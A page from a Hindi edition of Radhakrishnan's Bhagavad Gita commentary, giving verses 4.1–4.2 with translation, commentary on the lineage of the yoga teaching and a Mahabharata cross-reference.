भगवद्गीता -राधाकृष्णन पृ. 124

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अध्याय-4
ज्ञानमार्ग ज्ञानयोग की परम्परा

  
श्री भवानुवाच
1.हमं विवस्वते योगं प्रोक्तवानहमव्ययम् ।
विवस्वान्मनवे प्राह मनुरिक्ष्वाकवेअब्रवीत् ।।
श्री भगवान् ने कहा: इस अनश्वर योग में मैंने विवस्वान् को बताया था। विवस्वान् ने इसे मनु को बताया और मनु ने इक्ष्वाकु को बता दिया।[१]

2.एवं परम्पराप्राप्तमिमं राजर्षयो विदुः ।
स कालेनेह महता योगो नष्टः परन्तम ।।
इस प्रकार इस परम्परागत योग को राजर्षियों ने एक-दूसरे से सीखा। अन्त में हे शत्रुओं को सताने वाले (अर्जुन), बहुत काल बीत जाने पर वह योग लुप्त हो गया। राजर्षय: राज-ऋषि। राम, कृष्ण और बुद्ध सब राजा थे, जिन्होंने उच्चतम ज्ञान की शिक्षा दी। कालेन महता: समय का बड़ा व्यवधान पड़ जाने पर। यह उपदेश बहुत काल बीत जाने के कारण लुप्त हो गया है। मानव -जाति के कल्याण के लिए, श्रद्धा को पुनरुज्जीवित करने के लिए महान् उपदेशक उत्पन्न होते हैं। अब कृष्ण अपने शिष्य में फिर श्रृद्धा जगाने और उसके अज्ञान को आलोकित करने के लिए उसे यह योग बताता है। कोई भी परम्परा उस समय प्रामाणिक होती है, जब कि यह उस वास्तविकता के प्रति, जिसका कि वह प्रतिनिधित्व करती है, पर्याप्त प्रतिभावन जगाने में समर्थ होती है। जब हमारे मन उससे पुलकित और स्पन्दित होते हैं, त बवह सबल होती है। ज बवह इस उद्देश्य को पूरा करने में असमर्थ हो जाती है, तब उसमें फिर नयी जान फूकने के लिए नये गुरु जन्म लेते हैं।


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टीका टिप्पणी और संदर्भ

  1. महाभारत से तुलना कीजिएः शान्तिपर्व, 348, 51-52 त्रेतायुगादी च ततो विवस्वान् मनवे ददौ। मनुश्च लोकभृत्यर्थ सुतायेक्ष्वाकवे ददौ ।। इक्ष्वाकुणा च कथितो व्याप्य लोकनवस्थितः ।।

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